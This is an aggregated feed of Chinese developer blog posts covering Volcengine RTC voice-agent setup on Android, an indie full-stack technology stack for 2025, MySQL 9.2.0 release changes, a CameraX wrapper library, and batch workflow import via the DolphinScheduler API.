    const val TOKEN =
        "" // 填写临时 token
    // 获取TTS APP ID https://console.volcengine.com/speech/service/8
    const val TTS_APP_ID = ""
    // 获取ASR APP ID https://console.volcengine.com/speech/service/16
    const val ASR_APP_ID = ""
    // 获取大模型 接入点 https://console.volcengine.com/ark/region:ark+cn-beijing/endpoint
    const val LLM_ENDPOINT_ID = ""
}

代码讲解

整体业务流程图

开启/关闭音视频通话

这部分代码可以参考示例项目,里面给出的RTC服务代码很完整。

开启

// 开启音频采集
rtcVideo.startAudioCapture()

// 创建并加入房间
rtcRoom = rtcVideo.createRTCRoom(Constants.ROOM_ID)
rtcRoom?.setRTCRoomEventHandler(rtcRoomListener)

val userInfo = UserInfo(Constants.USER_ID, "")
val roomConfig = RTCRoomConfig(
    ChannelProfile.CHANNEL_PROFILE_CHAT_ROOM,
    true, // 自动发布
    true, // 自动订阅音频
    true  // 自动订阅视频
)

rtcRoom?.joinRoom(Constants.TOKEN, userInfo, roomConfig)

关闭

// 停止音频采集
rtcVideo.stopAudioCapture()

// 离开并销毁房间
rtcRoom?.leaveRoom()
rtcRoom?.destroy()
rtcRoom = null

启动智能体

这一步就是通过向豆包发送Post请求,以让一个AI智能体加入到前面创建的房间中。

这部分代码是整个项目耗费我时间最多的,遇到了两个问题:

  1. 签名。

文档里给出的签名示例是java服务端的,无法直接迁移到Android上。最后只能参考签名源码,按照签名方法里的步骤,对比API Explorer的结果一步步调试。这也是我写这篇文章的原因,这个签名是公共方法,火山引擎大部分服务的API请求都用的到,也可以让后人少走弯路。

具体内容还是直接看我的源码结合官方文档吧。

  1. 请求参数。

刚开始我是按照请求示例来构建请求参数的,返回结果也是正确的,但是就是无法开启服务。后面我参考了无代码跑通实时对话式AI Demo发送的post请求携带的参数来构建参数,才成功开启。

这里要说的一点就是,火山引擎后台服务未正确开启也会返回正确的结果,这就导致无法排查问题,最终联系了在线客服解决的。

具体内容还是直接看我的源码结合官方文档吧。

后话

在我搞完没几天,1月20号豆包发布了新的语音大模型 豆包实时语音大模型上线即开放!情商智商双高 声称实现了端到端语音对话,不需要语音到文本再到语音的繁琐,后续我也会进行体验试用,并在火山引擎更新API后进行尝试。

by 此生只爱琳 at January 22, 2025 07:22 AM

juejin career

2025 全栈独立开发

为什么是独立开发

为什么我要将技术的选型仅仅局限在独立开发上呢?因为如果我们不是独立开发,而是替公司或者客户开发的话,个人觉得技术选型的余地不大,乐趣也不高。

首先除了少有的创业公司,现有的公司或者项目一般都已经有了完善的技术栈和规范,更推荐的是在老的技术栈上进行重构,或者有计划的淘汰老的微服务,在新的微服务上引入新技术,而不是为了最求新颖的技术栈而全面推翻重来。

而就算在老的项目上引入新的技术栈,优先考虑的也是利于团队协同开发的技术栈,例如方便招人的、利于团队合作的技术。

所以如果想要满足自己的技术热情,最好的办法还是加入开源项目,或者开发自己的独立项目。

好啦,那我们正式开始推荐吧~

Frontend

Nextjs

如果你主要是构建前端应用,或者是前端 + 轻量级后端 API 的项目,那么目前最推荐的还是 Nextjs 这个框架,它是是一个基于 React 的开源框架。

推荐理由:

  • 学习曲线平缓,并且官方的实战教程非常友好:nextjs.org/learn
  • 生态非常的丰富,有非常多的可以满足不同需求的脚手架,例如 create-t3-app 这个开源的脚手架项目,可以选择性的集成鉴权、ORM、UI 等功能和技术栈。
  • 部署简单,毕竟是 Vercel 的母公司开发的框架,可以非常丝滑的部署到 Vercel 上。

为什么一上来就推荐 Nextjs?一是 Nextjs 本身就是一个可以快速创建和部署的框架,可以快速上线我们的项目;二是 Nextjs 对于我们后面集成推荐的技术栈和平台都非常的友好方便。

例如你想要部署一个静态网站,比如文档教程,那么你可以使用 Nextjs 的 Static Site Generation (SSG),搭配上一些 CDN 托管服务,这里非常推荐 Cloudflare Pages,Cloudflare 是笔者唯一五星推荐的云服务商,后面还会再提到。例如 nextra 这个项目就是一个基于 Nextjs + SSG 的文档类型开源项目。

当然你也可以部署一些需要轻量级 API 的全栈项目,例如博客、AI Chatbot等,你可以使用 Nextjs 的 Server Side Rendering (SSR) 和 API Routes,搭配上一些云服务商的云函数,例如 Vercel 的 Serverless Functions,或者 Cloudflare Worker,就可以快速的部署一个全栈项目。

例如 Nextjs + Vercel 的核心人物 leerob 的博客就是一个很好的例子,他的个人博客就是基于 SSR + API Routes 做了一些例如评论、订阅等功能,然后部署在 Vercel 上。

对于独立开发者来说,最重要的就是快速的上线我们的项目,而不是花费大量的时间在造轮子、部署和维护上,所以 Nextjs + Vercel 是一个非常好的选择,即使后面 Vercel 平台涨价或者不免费了,也可以替换为 cloudflare 等其它云服务厂商。

TailwindCSS + Shadcn/ui

在 UI 样式框架的选择上,有非常多的选择,这里不得不佩服前端开发者的生态之丰富,这在其它的语言生态下是难以想象的。

这里笔者只推荐个人用的还算是比较舒服的 TailwindCSS + Shadcn/ui

TailwindCSS 推荐理由:

  • 对比原来的 CSS 的写法,TailwindCSS 方便了很多,内置语法糖。
  • 高度可定制,代码规范一致。
  • 可以很好地与现代前端工具(如 PostCSS、PurgeCSS 等)集成。

这里我把 TailwindCSS 列为推荐的还有一个重要原因是,在 GPT、Github Copilot 这样的代码生成工具普及的今天,AI 能够很好的生成 TailwindCSS + JSX 的代码,是一种对 AI 友好的代码风格。

Shadcn/ui 推荐理由:

  • 超高自由度的 UI 框架,可以很好的与 TailwindCSS 配合。
  • 自身的样式设计已经非常的美观,还有大量的代码样例可以直接使用,例如 blocks 里面大量的样例代码。

shadcn/ui 与常见的 Ant Design 和 Chakra 等 Component library 不同,它是一个使用 Tailwind CSS 封装 radix-ui(基于 headless ui 的无样式组件库) 的项目。这样的做法是一把双刃剑,优点是可以高度定制化、按需使用等等,但缺点是安装和更新不方便,未来的更新可能会受到 radix-ui 的影响。

推荐 shadcn/ui 还有一个原因也与 AI 有关,shadcn/ui 作者已经加入了 Vercel 公司开发 V0 这个 AI 前端代码生成工具,所以个人还是比较看好 shadcn/ui 的未来。

综合来看关于 shadcn/ui 大家可以按需选择,关于 shadcn/ui 的更多细节可以看这篇文章

另外还有一些常见的值得一试的 UI 框架还有:daisyui 和 chakraui

其它

  • Prisma: 数据库 ORM,即使性能不是最好的,但确实是生态是最好的,各类数据库和云厂商都有支持。方便后期数据量大后需要切换数据库。

    • Drizzle: 如果选择 Serverless 方案,可以考虑使用 Drizzle ORM,Drizzle ORM 针对 Serverless 场景做了专门的优化,打包后仅仅 31 KB。
  • NextAuth.js: Nextjs 的鉴权库,虽然文档是混乱了点,但生态和功能性确实是最好的。

  • SWR: Nextjs 团队出品,HTTP 请求库,解决组件数据请求和缓存的问题。

  • zod: Schema 验证库,可以用于前后端数据和表单的校验。

  • Zustand & jotai: Zustand 是一个简单的 React 状态管理库,可以替代 Redux。jotai 是一个基于原子状态的状态管理库,具体可以根据需要选择。

  • driverjs: 引导用户操作的库,可以用于新手引导、操作引导等。

  • wxt: 一个类似 Nuxt 的浏览器插件开发框架,可以用于开发 Chrome 、Firefox 等插件。

  • orama: 前端全文搜索替代 algolia 的方案,nodejs 新官网就是使用的这个搜索引擎。

Backend

说完了前端库和平台的选择,我们来到后端的领域,其实纯后端的选择反而不多。因为后端想要提供服务,离不开 CPU、内存、带宽等资源,而这些资源各大花销都不少,所以我更多推荐 Serverless 的方案。如果你想要熟悉的后端框架,也可以使用 RailwayFly.io 等平台来部署容器。

Cloudflare Worker

选择 Serverless 是最省钱的方案,因为一切都是按量付费,这意味着在你的独立项目开始一段时间内,不用担心服务费用的问题,唯一要小心的就是云服务平台打着免费的幌子,等你深度使用后再收割韭菜,毕竟 Serverless 方案换云服务平台还是比较麻烦的。所以如果你想要选择 Serverless 方案,我唯一推荐的就是 Cloudflare Worker

Free Plan 就可以提供 100,000 次/天的请求,这能应付大部分的项目,唯一不足的是 Free Plan 的 10ms 的 CPU 执行时间非常短,会导致很多的计算超时失效。但是好在 $5/月的 Standard Plan 并不贵,提高到 30s 的 CPU 执行时间和超多的时间额度,这对于大部分的项目来说已经足够了。

并且 Cloudflare Worker 会和我们后面推荐的其它 Cloudflare 服务很好的结合,例如 KV(键值数据库)、Pages(静态页面)、R2(对象存储)、D1(关系型数据库)、Queue(MQ 队列) 等,这些服务大部分都是可以免费使用和共享 Standard Plan 额度。

选择 Cloudflare Worker 后,我们既可以使用原生的 nodejs,因为它的 Worker 代码是基于 V8 引擎的,所以你可以使用 JavaScript、TypeScript、Rust 等语言来编写你的 Worker 代码。

也可以使用像 hono.dev 这样的 Serverless 框架,它是面向 edge runtime 的 web 框架,提供了很多的开箱即用的功能,例如路由、中间件等。它还提供不同 Serverless 平台的兼容性,例如 VercelAWS Lambda 等。

Railway & Fly.io

如果你的项目不适合使用 Serverless 方案,毕竟 Serverless 还是存在一些缺陷,例如 CPU 时间、易用性、调试等问题,那么你可以选择你已经熟悉的后端语言,选择容器部署的方案。

关于后端的语言和框架,这里不做推荐,因为后端语言和框架的选择更多是取决于你的熟悉程度,笔者因为工作和开源,用过 Java/Spring、C#/.NET、Ruby/Rails、Nodejs/Express、Python/FastAPI、Go/Gin 等后端框架,每个框架都有自己的优缺点,这里我只推荐你使用熟悉程度高和开源生态好的框架,因为在部署费用差不多的情况下,选择熟悉的框架可以提高开发效率。

推荐使用容器部署的方案,而不是自己管理主机部署,关于容器部署的平台,推荐 Railway 和 Fly.io,这两个平台都是容器部署和管理比较丝滑的平台,除了部署后端外,也可以部署数据库等服务。推荐理由是这两个平台因为个人开源活跃度还算高的原因,都送了我每月 $5 的免费额度,而且用完后确实感觉还不错。

Mobile

如果你的项目还需要移动端 App,我本人对于原生应用开发的话不是太了解(除了很早之前写过 android 后再也没接触过原生应用开发),这里推荐 T4 Stack,移动端主要用的是 Expo,其它和本文大部分的技术栈重合,可以减少学习和开发的成本。

t4-stack

Auth

关于 Auth 相关的框架和云服务,我个人的体验是,如果你的业务 auth 需求不复杂,加上使用 Nextjs + NextAuth.js 这样的技术栈,那么直接使用 NextAuth.js 集成像 Google OAuth、Github OAuth、Azure AD 等社交登录和 JWT 鉴权是最方便的。

无需管理用户密码、无需自己负责登陆安全,只需要简单的配置和代码即可实现。更重要的是,不需要集成其它的云服务,减少了复杂度和成本。

像老牌的 Auth0 或者新兴的 Clerk 这样的云服务,虽然功能性和生态性都挺好,但是免费套餐比较少,后续的收费也非常的昂贵,所以需要根据自己的需求来抉择。

例如 Clerk 的免费套餐只支持 10000 的 MAU(Monthly Active User),后续的收费是 <semantics>0.02/MAU,这意味着后续每多一万个月度活跃用户,就需要多<annotation encoding="application/x-tex">0.02/MAU,这意味着后续每多一万个月度活跃用户,就需要多 </annotation></semantics>0.02/MAU,这意味着后续每多一万个月度活跃用户,就需要多200 的账单,还是比较昂贵的。所以对于独立开发者来说,如果你的项目大部分都是付费用户,那么初期选择 Auth0 或者 Clerk 是又方便又稳定的,但是如果是免费用户多的项目,选择这些云服务商就需要考虑成本了。

Supabase Auth

如果你的业务 auth 需求比较复杂,例如需要自定义登录、注册、密码找回、2FA认证等,那么推荐使用 Supabase Auth。支持 5w 的月活用户($25/m 后支持 10w 的 MAU,这足以满足绝大多数的项目啦),服务稳定,用户管理可以和数据库可以放在一起,而且支持社交登录、邮箱密码登录、2FA 等功能。

Cloudflare Zero Trust

如果你的用户体量非常少(少于 50 人),或者你需要给你的合作伙伴、家人、朋友提供一个安全的访问你的项目的方式,那么非常推荐使用 Cloudflare Zero Trust。Zero Trust 是一个基于 Cloudflare 的安全服务,可以通过不修改一行代码,仅仅是通过简单的配置,就可以让你的项目只能被你指定的用户邮箱或者固定IP访问。

这个方案的缺点是你的域名必须是通过 Cloudflare 托管,并且因为 Cloudflare Zero Trust 的免费额度是 50 人,超过之后非常的昂贵。所以这个方案只适合小团队或者个人使用。

但是优点也非常明显,不需要额外的代码和服务,只需要简单的配置,就可以让你的项目安全的被访问。非常适合私有的项目,例如搭建 Lobe Chat 或者 ChatGPT-Next-Web 这样的 GPT 项目给家人朋友使用。甚至可以配合 Cloudflare R2 来搭建私有图床等,这里就不过多展开了。

Database

数据库的选择非常的重要也非常的多样,因为本身数据库的选型就很多(MySQL、PostgreSQL、MongoDB、SQLite、Redis 等),再加上云服务商的竞争,所以这里只推荐一些比较好用的云服务商。

Supabase Database

如果是传统的关系型数据库,我推荐使用 PostgreSQL,PostgreSQL 的开源社区确实是一直以来最好的,体现在功能、易用性、开源生态上都胜过 MySQL 不止一筹。

对应的云服务厂商也有 Supabase 这个备受好评的数据库提供商,它支持免费的 500M 存储的两个数据库项目,支持 Postgres 的所有功能,还有很多的插件和工具,例如 Vector 向量数据库等。虽然后续的收费也不便宜,但是对于独立开发者来说,免费和标准版足够在前中期使用了。如果后续不够用,可以考虑在 Fly.io 上自建数据库再迁移。

并且 Supabase 这个团队非常的活跃,开源社区也非常的好,除了我们上面提到的 Supabase Auth,还有像Supabase StorageSupabase RealtimeSupabase Functions 等服务,都是不错的服务。

与 Supabase Database 类似的还有 Serverless Postgres 如 Neon 也还不错。

Cloudflare D1

如果要选择更便宜并且能支撑项目稳定运行的数据库,我推荐使用 Cloudflare D1,它是一个 edge sqlite 数据库,虽然 SQLite 不如 Postgres 功能强大,但胜在可以部署在全球各地的 CDN 节点上,这意味着你的数据库可以离用户更近,减少延迟,提高速度。

而且最近看到 D1 和Prisma 可以集成,这意味着你可以使用 Prisma ORM 来操作 D1 数据库,这对于全栈项目来说也是非常的方便。详情可以看这篇博客

选择 D1 的最大优势就是价格足够便宜,免费额度是 5GB,后续也只需要 $0.75/mo,并且同时可以使用Cloudflare KV、R2、Queues 等服务,可以很好的和 Cloudflare Worker 配合使用。

Upstash

如果你的项目需要轻量级的使用 Redis,那么推荐使用 Upstash,可以用来存储一些热数据、缓存等。这个云服务商同样提供像 Kafka、Vector 向量数据库等服务。并且后续也是按量收费,也算是比较推荐的。

Payment

支付提供服务商的选择不多,因为支付关系到安全、税务、金融监管、法律等等,是最不推荐自己造轮子或者使用小众云服务商的。这里只推荐比较大且适合的。

Stripe

Stripe 是国外公认最好的支付服务商,支付全球大部分国家的货币,并且抽成也还算公道。从开发角度来讲,也是开发文档齐全,开源生态最完善的支付服务提供商。

关于 Stripe 并不想花费太多笔墨,它的优点很明显,缺点也很明显,因为国内大部分的人都很难注册并使用 Stripe,注册 Stripe 除了一些偏门和有被封风险的方案,最稳妥的还是在国外注册一个公司,然后通过公司注册 Stripe。

但是对于独立开发者来讲,在国外运营一家公司并不是一件容易的事情,注册公司通过一些渠道还是比较容易的,但是公司的税务、法务等问题就比较复杂了,所以这里只是提一下,如果你有条件注册 Stripe,那么推荐使用 Stripe。

Lemonsquzz

如果你没有条件使用 Stripe 的话,这里推荐使用 Lemonsquzz 作为替代,它也是一个国外的支付服务商,支持外国信用卡、PayPal 等支付渠道,也支持国内支付宝、微信等支付方式。特别在国外比较常见的订阅收款上,Lemonsquzz 支持支付宝进行订阅周期付款,可以做到国内国外用户的支付统一。

虽然它的抽成比 Stripe 要高,稳定性也不如 Stripe,但是国内的独立开发者可以直接注册使用,无需注册公司。并且也有一系列的增值服务可以使用,例如折扣管理、订阅管理、提供支付页面等等。所以如果你打算初期先跑通商业模式,那么可以考虑初期先用 Lemonsquzz,后期再考虑注册公司使用 Stripe。

相同的替代品还有 Paddle

Statistics

对于数据观测来讲,一般有业务上的数据分析,例如访问量、哪个页面点击多、哪个功能受欢迎等等。也有技术上的数据分析,例如网站的性能、日志报错分析等。这里推荐几个比较好用的数据分析工具。

网站分析

对于网站的分析,我推荐使用 Umami,它是一个开源的网站分析工具,可以免费托管在 Vercel + Supabase 上,通过引入 script 来自己进行数据收集,不需要担心数据泄露和隐私问题。

目前我这个博客网站的数据分析就是使用的 Umami,大家可以点击这个网站来看看效果。

如果你想要更加强大的数据分析,例如用户行为录制、网站热点功能分析等,那么推荐使用微软出品的 clarity,它是一个宣称永久免费的网站分析工具,微软会收集数据投喂 AI 等等,但不会共享给第三方。

同理 Google Analytics 等也是不错的选择,有时间可以考虑都集成一下,毕竟有了数据,才能从里面挖掘出一些有用的信息。

分析工具

  • Logs: 日志分析

    • NewRelic 提供 100G 的使用额度,可以用来记录 Log、APM 等,分析错误日志,API 性能等。
    • betterstack 提供 1GB/mo,经常用来集成纯前端项目的日志分析。
    • sumologic 最近发现的日志平台,用起来也还不错。
  • Performance: 性能分析

    • PageSpeed Google 家的 PageSpeed Insights,可以用来分析前端网页性能。
    • LightHouse Google 出品的提高网页质量工具,包括但不限于分析网页性能、SEO、可访问性等。
  • SEO: 搜索引擎优化

    • Google Search Console Google 官方的搜索引擎优化工具,可以用来分析网站在 Google 搜索引擎的表现。
    • META SEO inspector Chrome 插件,可以用来分析网页的 SEO 信息。SEO 可能国内的开发者了解的不多,但是在一些国外很多的业务场景下,SEO 的重要性影响到项目的成功与否。

Others

IAC (Infrastructure as Code)

对于独立开发者来讲,经常要使用很多不同的云服务商,例如发送邮件需要使用 AWS 使用 SES,Azure 使用一些 Identity 的功能,Clouflare 需要一些服务,NewRelic 需要创建对应的日志集,这些云服务商都有自己的 API 和 CLI 工具,但是如果你要在多个云服务商之间切换,对于心智来讲是一个不小的负担。

所以推荐使用 IAC 工具来统一管理,这里推荐使用PulumiPulumi 支持使用代码的方式来管理你的云服务商,推荐的理由主要是它支持主流云服务商,支持多种语言(JS, TS, Python等),并且有很多的社区支持。

其它开发工具(暂时记起这些)

  • Buildkite: Pipeline 的额外补充,如果你选择的云服务商不提供 CI/CD 服务,或者无法集成 Github Actions,那么可以考虑使用 Buildkite
  • Bruno: 一个类似 Postman 的本地 HTTP 请求工具,可以用来调试 API 请求。
  • proxyman 代理抓包工具,可以用来调试、正向代理、反向代理等。

后记

by AIMaker阿乐 at January 22, 2025 07:16 AM

oschina news project

MySQL 9.2.0 有哪些功能新增、弃用和删除?

本文来源:https://dev.mysql.com/doc/refman/9.2/en/mysql-nutshell.html
由「爱可生开源社区」翻译:https://mp.weixin.qq.com/s/gNRaHz-1Eq_PKsg792uwjg


 2025 年 1 月 21 日,MySQL 9.2.0 版本发布!

根据 MySQL 版本发布计划,MySQL 9.2.0 是一个创新版,那么我们来看一下有哪些功能新增,弃用和删除。

1一、新增或更改的功能

CREATE_SPATIAL_REFERENCE_SYSTEM 权限

MySQL 9.2.0 引入了 CREATE_SPATIAL_REFERENCE_SYSTEM 权限,该权限允许用户执行任何以下声明:

  • CREATE SPATIAL REFERENCE SYSTEM

  • CREATE OR REPLACE SPATIAL REFERENCE SYSTEM

  • DROP SPATIAL REFERENCE SYSTEM

目前,若没有此权限(或 SUPER 权限)的情况下执行以上列出的任何语句,都会引发错误:

Error number: 6427; Symbol: ER_CMD_NEED_SUPER_OR_CREATE_SPATIAL_REFERENCE_SYSTEM; SQLSTATE: HY000
Message: You need the SUPER or CREATE_SPATIAL_REFERENCE_SYSTEM privilege for command '%s'

更多信息:https://dev.mysql.com/doc/refman/9.2/en/privileges-provided.html


JavaScript 库

多语言引擎组件(MLE)现在支持可重用的 JavaScript 库,其中包含可以从其他 JavaScript 存储程序调用的函数。此类函数必须使用导出 keyword 标记为可导入。

函数库可以使用 MySQL 9.2.0 中添加的 CREATE LIBRARYDROP LIBRARY SQL 语句进行管理;它们可以包含在其他存储的 JavaScript 程序中,并在同一版本中添加 USING 子句到 CREATE FUNCTIONCREATE PROCEDUREUSING 支持一个或多个库名称的列表。

CREATE LIBRARY 语句在给定数据库中创建一个新的 JavaScript 库,给定一个或多个 JavaScript 函数的代码。JavaScript 代码是在创建时解析并检查有效性;如果代码包含任何错误,则拒绝 CREATE LIBRARYDROP LIBRARY 删除给定的 JavaScript 库。

更多信息:https://dev.mysql.com/doc/refman/9.2/en/srjs-libraries.html

用于 JS 的 SQL 存储例程和会话变量 API

MySQL 9.2.0 及以上版本的 MLE 组件支持访问从 JavaScript 例程到用户定义的函数,过程和变量。

现在可以使用 Schema 方法访问 MySQL 存储的函数和过程 getFunction()getProcedure() 的这些函数中的每一个都返回一个可以使用参数 Function 对象。

此外,现在可以访问 MySQL 用户变量直接作为 JavaScript 全局变量的属性 Session 对象。JavaScript 访问 Session Variables,了解更多信息 信息和示例。

MySQL 9.2.0 版本还增加了对直接访问多个 MySQL 内置函数的支持,如下所示:

  • rand():等同于 MySQL RAND()

  • sleep():等同于 MySQL SLEEP()

  • uuid():等同于 MySQL UUID()

  • isUUID():等同于 MySQL IS_UUID()

所有这些函数都可以作为全局 MySQL 对象的方法调用。

更多信息: https://dev.mysql.com/doc/refman/9.2/en/srjsapi-mysql.html

JavaScript 事务 API

从 MySQL 9.2.0 开始,MLE 组件提供了一个 JavaScript MySQL 事务 API,它执行大多数 MySQL 事务性 SQL 语句的操作,例如 作为 START TRANSACTIONCOMMITROLLBACKSET AUTOCOMMIT。对 Savepoints 也支持。

这项工作还实现了一个 SqlError 对象。

更多信息https://dev.mysql.com/doc/refman/9.2/en/srjsapi-transactions.html

JavaScript ENUM 和 SET 支持

MySQL 9.2.0 及更高版本中的 JavaScript 存储例程的参数支持 MySQL 的 ENUM 和 SET 类型。

更多信息: https://dev.mysql.com/doc/refman/9.2/en/srjs-data-arguments.html#srjs-enum-set-conversion

EXPLAIN FORMAT=JSON

MySQL 9.2.0 在输出中添加格式版本信息 EXPLAIN FORMAT=JSON 设置 JSON 格式版本时设置为 2。

要设置格式版本,设置 explain_json_format_version=2。输出如下:

mysql> EXPLAIN FORMAT=JSON SELECT 1\G
*************************** 1. row ***************************
EXPLAIN: {
  "query": "/* select#1 */ select 1 AS `1`",
  "query_plan": {
    "operation": "Rows fetched before execution",
    "access_type": "rows_fetched_before_execution",
    "estimated_rows": 1.0,
    "estimated_total_cost": 0.0,
    "estimated_first_row_cost": 0.0
  },
  "query_type": "select",
  "json_schema_version": "2.0"
}
1 row in set (0.00 sec)

此语句的输出不包含任何格式 version 信息时 explain_json_format_version 为 1,如下所示:

mysql> SET explain_json_format_version=1;
Query OK, 0 rows affected (0.00 sec)

mysql> SELECT @@explain_json_format_version;
+-------------------------------+
| @@explain_json_format_version |
+-------------------------------+
|                             1 |
+-------------------------------+
1 row in set (0.00 sec)

mysql> EXPLAIN FORMAT=JSON SELECT 1\G
*************************** 1. row ***************************
EXPLAIN: {
  "query_block": {
    "select_id": 1,
    "message": "No tables used"
  }
}
1 row in set, 1 warning (0.00 sec)

更多信息:https://dev.mysql.com/doc/refman/9.2/en/explain.html#explain-execution-plan

2弃用的功能

以下功能在 MySQL 9.2 中已弃用 ,并且可能会在未来的系列中删除。替代方案如下所示,请尽快更新。

对于使用 MySQL 9.2 中已弃用的功能且已在更高版本的 MySQL 版本中删除的应用程序,语句在从 MySQL 9.2 源复制到运行更高版本的副本时可能会失败,或者可能对源和副本产生不同的影响。为避免此类问题,应修改使用 9.2 中已弃用功能的应用程序以避免这些问题,并尽可能使用替代方法。

函数(已启用)

  • version_tokens_delete()

  • version_tokens_edit()

  • version_tokens_lock_exclusive()

  • version_tokens_lock_shared()

  • version_tokens_set()

  • version_tokens_show()

  • version_tokens_unlock()

权限

  • VERSION_TOKEN_ADMIN

系统变量

  • version_tokens_session

  • version_tokens_session_number

3删除的功能

以下功能已过时,并已在 MySQL 9.2.0 中删除。

关键字限制

BINLOG 关键字现在受到限制,不能再作为 MySQL 存储例程或存储函数中的标签使用。在升级到 MySQL 9.2 之前,您应该相应地更新任何受影响的应用程序。

更多信息:https://dev.mysql.com/doc/refman/9.2/en/keywkeywordsords.html

by 来源: OSCHINA at January 22, 2025 06:54 AM

juejin android

Android相机基础开发快速实现1(拍照,录视频,加水印,扫描二维码)

最近项目中有一个拍照和录制视频加水印的需求,就整理了Android CameraX的相关方法,直接将所有功能封装成了一个开源库。使用方法非常简单,并且包含了拍照,录制视频,添加自定义水印,扫描二维码条形码所有功能,为了和各位一起节省时间避免重复造轮子。

PS:这个库依赖了Android Jetpack CameraX,Google MLKit和RXFFmpeg,体积小并且稳定 PS:第一篇讲述Android相机的拍照和录制视频的基础用法,第二篇讲述给图片和视频添加水印,相机扫描二维码等高级功能的使用方法

1.Gradle导入依赖

dependencyResolutionManagement {
     repositoriesMode.set(RepositoriesMode.FAIL_ON_PROJECT_REPOS)
     repositories {
         mavenCentral()
         maven { url 'https://jitpack.io' }
     }
}

依赖开源库的最新版本

implementation 'com.github.cgztzero:CameraxExtent:最新版本'

2.相机的初始化

//首先在你的布局中加入相机预览view, 展示摄像头看到的画面
<cn.com.zt.camera.view.PreviewLayout
   android:id="@+id/previewLayout"
   android:layout_width="match_parent"
   android:layout_height="match_parent" />
//第二步 创建一个相机的控制器 
//controller用来操作相机拍照,录制,打开闪光灯等操作
private val controller = CameraControllerImpl()
//第三步 给previewLayout绑定lifecycle
//然后将Controller和previewLayout进行绑定后,最后通过Controller开启预览
previewLayout.bindToLifecycle(this)
controller.bindCameraPreview(binding.previewLayout)
controller.startPreview()

重要说明:Controller所有的操作必须是在和PreviewLayout绑定后进行的,否则会抛出异常

相机主要功能使用方法

3.1拍照功能

controller.takePicture(
   object : ImageSavedCallback {
       override fun onError(message: String?, code: Int) {
            //拍照异常回调
       }
       
      override fun onImageSaved(originUri: Uri, bitmap: Bitmap?, watermarkFile: File?) {
          //拍照成功后回调
          //originUri照片文件的uri   后两个参数跟图片水印有关在第二篇文章 这里先不做说明
        }
      },
)

3.2录制视频

if (controller.isRecording()) {
    controller.stopRecord()
} else {
    controller.startRecord(
       object : VideoSavedCallback {
                override fun onVideoSaved(uri: Uri, watermarkFile: File?) {
                       //录制完成后视频文件的Uri 第二个参数是添加水印相关 第二篇文章介绍
                 }

                override fun onError(videoCaptureError: Int, message: String, cause: Throwable?) {
                      //录制视频出错
                }

               override fun onWatermarkVideoProgressing(progress: Int, progressTime: Long) {
                     //给视频添加水印时的进度   
               }

        }, )
                
}

3.3摄像头其他功能

//切换摄像头
controller.switchCamera() 
//切换闪光灯为自动,打开和关闭
controller.setFlashMode(CameraConstant.FLASH_MODE_AUTO)
controller.setFlashMode(CameraConstant.FLASH_MODE_ON)
controller.setFlashMode(CameraConstant.FLASH_MODE_OFF)

4.对ndroid相机对拍照和录制视频的一些选项配置,采用了构造者模式,可以随意配置存储文件的相关设置

val option = FileOutputOptions.Companion.FileOutputOptionsBuilder()
            .setImageOutputDirectory("拍照文件存储的父路径")
            .createImageName {
                "拍照文件名字生成函数,返回值是String,需要包含后缀名"           
            }
            .setVideoOutputDirectory("录制视频文件存储的父路径")
            .createVideoName {
                "视频文件名字生成函数,返回值是String,需要包含后缀名"          
            }
            .setVideoMaxDuration(10 * 1000)//设置录制视频最大时长,毫秒
            .build()
//设置参数生效
previewLayout.setFileOutputOptions(option)
相机参数所有枚举
object CameraConstant {
   //前后摄像头
    const val LENS_FACING_FRONT = CameraSelector.LENS_FACING_FRONT
    const val LENS_FACING_BACK = CameraSelector.LENS_FACING_BACK

   //闪光灯模式
    const val FLASH_MODE_AUTO = ImageCapture.FLASH_MODE_AUTO
    const val FLASH_MODE_ON = ImageCapture.FLASH_MODE_ON
    const val FLASH_MODE_OFF = ImageCapture.FLASH_MODE_OFF

    //水印添加模式  图片视频都加  只图片加 只视频加
    const val WATER_MARK_BOTH = 0
    const val WATER_MARK_ONLY_IMAGE = 1
    const val WATER_MARK_ONLY_VIDEO = 2
    
    //水印位置枚举
    const val WATER_POSITION_TOP_LEFT = 0
    const val WATER_POSITION_TOP_RIGHT = 1
    const val WATER_POSITION_BOTTOM_LEFT = 2
    const val WATER_POSITION_BOTTOM_RIGHT = 3
    const val WATER_POSITION_CENTER = 4

}

以上就是Android拍照和录制视频的基础功能,是不是感觉代码量瞬间下降了不少~
下一篇讲解给照片和视频加水印,以及扫描二维码功能的使用方法

欢迎各位提bug和需求,感谢加星~
GitHub地址:
github.com/cgztzero/Ca…

by 没有机器猫的大雄 at January 22, 2025 06:23 AM

juejin article

高效批量工作流导入及脚本上线,利用DolphinScheduler接口轻松实现

file

实现了批量生成DolphinScheduler的任务,当导入时发现只能逐个导入,因此通过接口实现会更方便。

DolphinScheduler接口文档

DolphinScheduler是有接口文档的,地址是

http://IP:12345/dolphinscheduler/swagger-ui/index.html?language=zh_CN&lang=cn

不过这文档写的比较简略,自己需要研究研究。

token:所有的接口都需要用到token

file

在安全中心-令牌管理 创建一个token 。记住这个token,后面所有的接口都需要用到 。

header:根据上面的token组成请求要用的header

token = ''
headers = {
    'Accept': 'application/json',
    'token': token
}

项目ID project_id 可以在查看项目工作流时,在url中找到。

DolphinScheduler导入任务接口

导入任务的接口是

import_url = 'http://IP:12345/dolphinscheduler/projects/{project_id}/process-definition/import'

知道接口 就可以导入了。

def import_job(file_path):
# 打开文件并读取为二进制数据
    with open(file_path, 'rb') as file:
        files = {'file': file}
        # 导入工作流
        response = requests.post(import_url, headers=headers, files=files)
        print(response.status_code)
        if response.status_code != 200:
            print('上传失败  '+file_path)

需要注意的是,导入任务时 只支持二进制。

file_path 是工作流文件,具体实现 可以工作流中导出一个作为参考。 重复使用上述方法,就可以实现批量导入任务。

工作流上线

使用上述方法批量完成任务上传后,依旧有问题,逐个上线工作量也是个不小的工作量,因此继续使用接口。

经过研究发现,上线工作流需要先获取工作流的调度ID 。

获取工作流列表 - > 获取工作流code -> 获取所有工作流的调度ID -> 工作流上线

  • 获取工作流列表 这是接口地址
jobs_url = 'http://IP:12345/dolphinscheduler/projects/{project_id}/process-definition'

不过这个要分页查询,稍微有一点点麻烦

def get_jobs_list():
    # 分页查询
    # 初始化分页参数
    pageNo = 1
    pageSize = 10
    url = f'{jobs_url}?pageSize=10&pageNo=1&searchVal='
    # 构建完整的URL
    # 存储所有结果
    all_items = list()
    while True:
        # 构建完整的URL
        url = f'{jobs_url}?pageSize={pageSize}&pageNo={pageNo}&searchVal='

        # 发送GET请求
        response = requests.get(url, headers=headers)

        # 检查响应状态码
        if response.status_code == 200:
